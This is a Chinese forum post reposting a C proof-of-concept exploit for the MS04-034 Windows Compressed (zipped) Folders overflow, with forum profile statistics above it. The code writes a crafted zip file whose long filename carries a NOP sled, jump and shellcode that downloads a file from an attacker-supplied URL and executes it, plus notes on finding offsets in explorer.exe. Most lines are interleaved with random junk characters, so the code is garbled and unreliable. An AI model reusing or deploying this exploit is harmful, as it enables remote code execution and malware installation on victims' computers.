- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)4 H0 ~4 A% v1 _. ~$ ~" r0 @, e6 t
*
% U n9 j! J1 \/ u; U2 |2 ]3 J* Tested under Windows XP SP0 Spanish/English
& }& t" ?* e+ e' u. E! m. c) n7 X*
* b/ p; X! R; P' [# \6 L6 r. A* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
8 O% I& }! Y# r$ P* Exploit Date: 21/10/2004
0 {" T1 A9 y$ R0 ^) e*4 I% d1 H* c/ `
* Tarako - Haxorcitos.com 2004) M o) H/ ?; |: F' I
*
+ i8 O3 _# ~& p: q7 f" Q* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
) J, j9 p5 v4 m0 B1 Y& l* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION @- x2 h7 ?/ j2 Q! E9 j
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.) ` u$ K0 [ i/ E$ ~
*2 r7 E* A2 i1 i5 C
* Greetings t #haxorcitos, #dsr and #localhost @efnet- Y8 X6 c" G3 q# e7 g' L- [% O
*
3 }2 c2 c7 j( n# |1 I8 ~8 t*& T0 |. r) z# E6 F) u& g0 ~
* How to get new offsets:
# M1 l) h% T, O* 1) attach debugger (i.e ollydbg) to explorer.exe
" F% x7 ^0 s. }% U* M3 q* 2) open the zip file as a folder and add or move some files to it% W9 L$ S0 }$ [8 C7 k' J" v" b
* 3) search in the explorer.exe memory the shellcode and get the addresses: Q9 b# I# v0 Y
*
' A& a- o0 y9 o* y" B, h' z+ ^0 J*/
; e4 s' Z# M7 k# P: [5 K3 K! I7 c5 [1 ?( Y* g/ q
#include <stdio.h>
1 X/ f) i* G0 X1 l#include <windows.h>/ E- r+ S$ D; C& S; q" w/ }4 V' ^/ l- ]6 x8 L
+ p, o: ^4 Z1 e% |
#pragma pack(1)
/ [/ F7 ?% E' d J: `3 d
6 z, V8 L$ I" s J' b- r#define DATOS "Tarako-Haxorcitos.com"" @; J6 K1 D- |6 |
* i: m4 g0 c# ]4 d. R: z5 ctypedef struct {. H& J( Y3 {+ _! w
DWORD Signature; // PK.. 4 bytes (0x04034B50)
6 X1 d2 \. r* a- u6 K6 B8 m5 GWORD VersionNeeded;9 Z U* f" u! J
WORD GeneralPurposeFlag; // para el data descriptor y demas
: m; r; ~2 q1 [! L6 HWORD CompressionMethod; G+ Y$ ]9 P! l) s8 c* F- E2 ^
WORD ModFileTime;) V( `- F( A1 T% `7 e- a) @2 R
WORD ModFileDate;
" M" U& O; O! ~DWORD Crc32;& F1 F) o& N" P/ W
DWORD CompressedSize;
. U' o$ ]) ?0 DDWORD UncompressedSize;- Y4 z. a) X+ `8 ^
WORD FilenameLength;0 j2 f+ y5 I( A5 M7 h
WORD ExtraFieldLength;
$ L7 a, a ~* j6 D- Q5 r$ r3 s// filename (variable size)
, F) M3 f" l0 P6 _! \- Y6 E2 P// extra field (variable size)
( y' g6 L# g8 K8 y3 B% K& j}TOPHEADER;' f+ [. u$ X% N4 h X, S5 O
5 A' ?3 H: H& s/ ]. H4 ]1 z/ x
9 A* _6 w4 Q" D. rtypedef struct {
- B, k; P* A+ e( K8 ^DWORD Signature; // PK.. 4 bytes (0x02014B50)
5 z; c+ W& Q/ z( `WORD MadeVersion;
7 z' U+ V2 I* y3 j J4 w* y1 ~1 QWORD VersionNeeded;/ J. Y4 G# f! J5 H* p" n( H4 q
WORD GeneralPurposeFlag; // para el data descriptor y demas
5 f1 k& T, s3 z4 }WORD CompressionMethod;8 [. Z0 @( Q+ M( p# [
WORD ModFileTime;
+ u: G; K' u% A1 {WORD ModFileDate;2 E( F2 V4 u. y
DWORD Crc32;
4 X* K+ U( d J8 n5 i/ IDWORD CompressedSize;
$ n4 h( T: Z" M! ODWORD UncompressedSize;1 P) @- [. m; _9 I& Q" p2 T8 J
WORD FilenameLength;
7 G1 {2 D. q1 i* T7 y3 kWORD ExtraFieldLength;
- H9 V2 { ]. e! Z& [WORD FileCommentLength;( c5 s+ m" R. l. r
WORD DiskNumberStart;
: U; \+ J y: q$ MWORD InternalFileAttributes;; W% [5 g1 C- x$ R
DWORD ExternalFileAttributes;. k5 i$ i5 _6 b" ?. i
DWORD RelativeOffsetOfLocalHeader;! c, ~7 Z Y# x! a8 u: e: f
// filename (variable size)
6 l* f5 `. J' l0 E/ x// extra field (variable size)2 s9 b) B6 u ]* B) F, l, m" o0 Y
// file comment (variable size)
+ ?; n1 w$ g. x8 V- }8 e d}MIDDLEHEADER;) U( p, e A- u* ~+ r* ?; ^1 z I3 o
9 a* ~$ K- j2 a. X( U" k9 Etypedef struct {
7 i7 f% Z7 a, f+ q+ P* @DWORD Signature; // PK.. 4 bytes (0x06054B50)( H/ o' y! B; Y) T% n8 V
WORD NumOfThisDisk;7 w$ `! h, U8 G9 a- B6 t4 n
WORD NumDisckStartCentralDirectory;8 s5 i' N( Q! m: d! d. h( [) h5 k
WORD NumEntriesCentralDirOnThisDisk;
% P) T5 i1 U' V+ ~2 G( rWORD TotalNumEntriesCentralDir;
b" u. P" W A) p# K! \DWORD SizeCentralDirectory;
2 V0 u7 m# P0 t# ADWORD OffsetCentraDirRespectStartDiskNum;
9 S; O8 W- s; w" ?WORD ZipCommentLength;
: F" s B" X5 j- z4 I4 f// zipfile comment (variable size)
9 l" j# A2 `1 T2 Q e$ E1 I}BOTTOMHEADER;- l. q+ E& A" z
, z$ ^9 k" ~7 w5 ~& R
/*
z+ a; Q2 e" A0 f* download shellcode - RaiSe - raise@netsearch-ezine.com4 S1 D& r3 ^( M/ L
*/9 K% I X& s9 i
char shellcode1[] =
+ ^0 C. ]1 G. `2 i; Z"\xEB\x5D\x5F\x8B\xF7\x80\x3F": s$ g, r9 I. d7 k. m6 ?( }: ]
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
% N' G% G7 _4 G' j! _"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
$ z, M3 {9 R: Z! i9 `8 y# h"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"3 j! }' n- q3 }, H4 J0 ~- ]; Z- E4 k
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"3 w8 m' }& Z! h8 G' o
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"8 {; ?+ M, [$ Y9 z% Z; k
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
' V; L7 N) `7 k3 G"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
. y3 p- l7 W0 ~9 k"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
. y: T8 h6 h) J: i"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"" R" b9 y! E' K8 u8 F, E) x8 M
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
1 j; ~; j0 {( F! c5 L0 p) {"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
3 ~. C. R4 Q8 e) X- a"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
0 |. d3 o# y! u: K4 a"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
0 p& c& U, j" y K& b"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
" c: o, y+ x/ Q; N5 J) {"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"; l2 f/ M; t9 C; p* }- t$ p
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"# k8 d/ B: z0 t; m
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
( |- u! ~2 y, b3 v"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8") b8 a( {- _3 G+ E& M
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"5 F" g( n7 w8 I6 `( [( T& d
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"& g Y3 X1 \5 ^4 L% O2 T0 C. v7 k
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
+ ~& C" U4 h G; O% s$ |8 X4 D; y"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"; y7 m0 W$ }1 K2 V$ _; i9 u
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
6 T# v+ h& M9 F% u, l) P% c"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
( h( ~. u) Y* Y- ?) F, Z"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
% C" Z1 d1 J( O3 {"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49". M! C' n! t% c; X+ D/ z
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
* S5 ^+ a# A. r' b, P6 g1 h"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
+ h2 F+ d/ _6 \3 l"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"8 r7 Q9 E, J! V
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"; M1 `- {6 \* {, m- [
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
4 g5 d/ w7 ?5 B; P M"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"$ c! @! m3 P1 _" \% k* W6 I
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
& J9 j2 {0 B; C2 I"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
5 m6 Y0 _7 W5 |# d. E8 fchar shellcode2[] ="\x08\x01";: N9 d( J E# F( X
4 ?" w( J$ s o* ]char offset[]="\x41\x41\x41\x41";
2 s# {& M- S8 ?9 D( Q. dchar jmpbelow[]= "\xeb\x06\x90\x90";+ Y' h* w: Z( C" e+ {' M
& G' ]$ v+ b! ^8 r8 p
int main(int argc,char *argv[]) {
) D6 I+ e4 B$ Q1 V' |) E# c& Q- _
/ |5 {7 j1 w( v9 GFILE *ZipFile;
( H- z9 F, C6 ~" B0 Z) FTOPHEADER *Cabecera1;6 C+ u0 o6 ^) j7 u5 j
MIDDLEHEADER *Cabecera2;
- I6 ]) W& w4 U1 {9 TBOTTOMHEADER *Cabecera3;
& A$ N9 i$ z T3 ?
1 H5 }$ d. n' ^0 q) SDWORD c;
. T1 N( }5 b, w, H; OUINT i;9 X5 w' b2 e; |8 i
char *filename;
7 w7 T2 u. y6 _! h6 {: f& Wchar *url;
. U) O* A( K7 ]- q2 R2 k; @6 s- l$ b1 A! T1 f8 r, _* u/ S
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");) A) O* ^; }# h' f( b
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
, F1 u3 f+ O( D
) S P9 ~/ ^; a Y) Fif (argc!=2) {/ A( Z! S; L) T" G; {1 E
printf("\n\n Usage: %s <URL> \n",argv[0]);
. Y2 @8 }( e( ^5 H& E6 sexit(1);/ O M; c/ f) z7 h' F7 q6 ~
}
2 P& t! z- W0 f3 b7 r3 w# B7 l d4 F5 r! d" i4 M2 Y* ~
url=argv[1];
Y7 {& J u% l" Gprintf("\n * URL: %s",url);
' q& v* B0 k" i& l/ M$ X- f6 f8 j# c; }! L! X. `
) e% ]8 c8 v# U3 h+ u0 H8 Vif (!(ZipFile=fopen("prueba.zip","w+b"))) {
v) Q% f% B- N/ b5 k2 s8 O3 Qprintf("\n [E] fopen()");4 P, }. z+ X Q" @
exit(1);
* p. y) R0 [* {}
5 h9 p: F$ ^& e& }+ X" H: k$ G. J* l B7 W0 v% V
c=0x8000; // filename length4 X, k$ {5 j+ u4 o
filename=(char*)malloc(sizeof(char)*c); 0 t) E; Z1 w8 O0 J
memset(filename,0,sizeof(filename));2 j1 p4 K, }5 S8 d$ a
: r) C; d4 h- m* j' ?1 N ~9 a$ Pfor( i=0x0;i<c;i++) filename=(BYTE)0x90;
3 I3 ^5 `, r3 v( c* A) Q+ ]1 B2 z/ i
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
& @% u9 o; x, T/ Vmemcpy(filename+0x1818,offset,strlen(offset));
- P$ W) M3 c2 N0 J8 a/ I( }8 w
7 i1 I/ W' P1 q3 W' K# D! P$ w# xmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);- m) I5 n0 M/ g% Q9 ?& c+ M' W5 G
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));* j }( X5 v+ z8 k% s9 I2 n: C! Y
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
3 @2 q) k# t. m+ P; b" t, G3 o* t0 d* ^% Z5 ]" k& S* u7 a% A
memcpy(filename+(c-4),".txt",4);- ?% n9 C* a2 l/ [ f' H5 [
( f2 K. E2 l9 S% W4 ^' N
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
5 y% D; _4 g6 @" G+ W; UCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));$ ?' Z: a. h; k9 Y% ?; n
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));8 d" A) V4 I5 p& A) X
memset(Cabecera1,0,sizeof(TOPHEADER));, _, p/ {* v% |2 I
memset(Cabecera2,0,sizeof(MIDDLEHEADER));0 ~3 I" P7 B- ^& E. T
memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 8 C7 q, |$ z/ M( e
9 Z$ m6 P, \3 x" n. H) j///////////////////////////////////////////////////////////////////$ @7 K) _9 n( Z) Z6 O$ T" X0 f; {, I
// TOPHEADER7 K+ o5 k' z7 n0 h
///////////////////////////////////////////////////////////////////) e& z; \- R( U9 i$ _0 C- ^
Cabecera1->Signature=0x04034B50; // DWORD1 v, D, G4 T# F. q5 f2 s
Cabecera1->VersionNeeded=0x000A; // WORD
; M. p3 r+ P S( ~$ PCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas# a" Q, K; Z3 V0 J
Cabecera1->CompressionMethod=0x0000; // WORD
0 G& q$ |( A8 [% c8 \Cabecera1->ModFileTime=0x1362; // WORD
+ L: _# a' H* E: e+ p; ^Cabecera1->ModFileDate=0x3154; // WORD
" }8 v4 ^( @% }+ [& a- k7 {Cabecera1->Crc32=0x85B36639; // DWORD
( M0 F) {& I0 w6 x: qCabecera1->CompressedSize=0x00000015; // DWORD
/ n: u5 i$ W9 U( d' yCabecera1->UncompressedSize=0x00000015; // DWORD
7 u( R+ d" y* b l- u) h& RCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);. B o4 K5 `4 C+ M$ N, A9 b
Cabecera1->ExtraFieldLength=0x0000; // WORD
! h$ g! I% b& j///////////////////////////////////////////////////////////////////
1 Y9 q8 p$ g, K1 f" F' v6 O; d! f' A0 E6 [
///////////////////////////////////////////////////////////////////6 M4 l7 ]4 q' B' e6 I5 j8 t7 t
// MIDDLEHEADER
; O7 q' v- g4 J9 c" T7 G/ P///////////////////////////////////////////////////////////////////! y) T: \3 S7 v( \% C) t' f: F
Cabecera2->Signature=0x02014B50; // DWORD* D- [; W/ B% z p8 m- ?
Cabecera2->MadeVersion=0x0014; // WORD
% z8 ~0 @8 t; k6 i. P( UCabecera2->VersionNeeded=0x000A; // WORD
8 e) H! N- A% f+ dCabecera2->GeneralPurposeFlag=0x0002; // WORD" f6 L3 [2 _6 U$ c; l0 ?
Cabecera2->CompressionMethod=0x0000; // WORD" C0 d1 N4 Y! v+ u1 Q! W
Cabecera2->ModFileTime=0x1362; // WORD
) L' R& [5 L1 e9 _/ w8 eCabecera2->ModFileDate=0x3154; // WORD
7 q& }7 Z+ E. G9 X$ T W& d( jCabecera2->Crc32=0x85B36639; // DWORD
/ e3 [( u! ]" t+ i, D9 D( VCabecera2->CompressedSize=0x00000015; // DWORD# z" q+ _* A! ~( W4 q
Cabecera2->UncompressedSize=0x00000015; // DWORD
5 G& Q. h2 k4 D3 a% }+ p+ u6 MCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);) {3 t4 S* C) @
Cabecera2->ExtraFieldLength=0x0000; // WORD
* z2 y1 d$ s# n) J& l( jCabecera2->FileCommentLength=0x0000; // WORD) W, E5 o( g! i0 v4 z2 [2 ~
Cabecera2->DiskNumberStart=0x0000; // WORD+ C+ ^; \" Z+ y4 ^! b
Cabecera2->InternalFileAttributes=0x0001; // WORD- ~. n; Q4 U# w# J) a0 r: c5 t
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
" c7 E9 i2 N1 F9 VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD" ^* y5 b* U0 n1 Q
///////////////////////////////////////////////////////////////////
2 a4 F- n& {3 e4 Z" }- ^, G3 B4 ?4 }7 g3 }1 ^
///////////////////////////////////////////////////////////////////) h0 |2 k, R9 h# ^, t* Z. \
// BOTTOMHEADER
/ B6 [. R; G" @. P3 p8 {+ z" O( {///////////////////////////////////////////////////////////////////9 c1 J$ d o, d( V7 g
Cabecera3->Signature=0x06054B50; // DWORD
9 }! f' q5 l! R' H7 p0 k" d8 V+ C1 XCabecera3->NumOfThisDisk=0x0000; // WORD% u3 \& C6 n4 o8 s0 m$ A
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
- C4 d; J: F0 o7 j RCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
- D6 D3 M: M) e: T0 m/ R7 H1 O; d; mCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD; V6 g9 \6 [7 m3 ~. f; E- X
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
/ i" K( N; U4 x/ ~# }; c" ?; C YCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 1 O: H( @7 K1 _7 y& t: c
Cabecera3->ZipCommentLength=0x0000; // WORD
; {2 u* e2 H0 O: |3 l1 S Y///////////////////////////////////////////////////////////////////. j( z9 }4 B% t
* ]; m5 o/ Y( {$ V4 Qfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
* L2 V# t+ a/ {2 O0 s* S$ a- U- z5 b9 a4 P0 T$ E
fwrite(filename, c, 1,ZipFile);
- V/ V8 k% ~: r! efwrite(DATOS,strlen(DATOS),1,ZipFile);( a0 y( B1 A5 Z! c" b
/ U" d$ c9 y' ?) ]
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
8 S6 G8 ^. H: [" b, \2 dfwrite(filename, c, 1,ZipFile); : H/ r; F( F o" o, e; E( d
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);2 @# p5 E: H, m# \( p$ M% W
3 a/ x5 X- G7 `* gfclose(ZipFile);+ C* z; B! H, j4 Y) E1 J
printf("\n * prueba.zip created\n");
4 n" q; a$ @+ Y. \" `. N/ Oreturn 1;
" O/ X/ Z7 V: ?$ r9 o- w- E}//downloaded from milw0rm.com
- t% u1 g0 R( y& C |
zan
|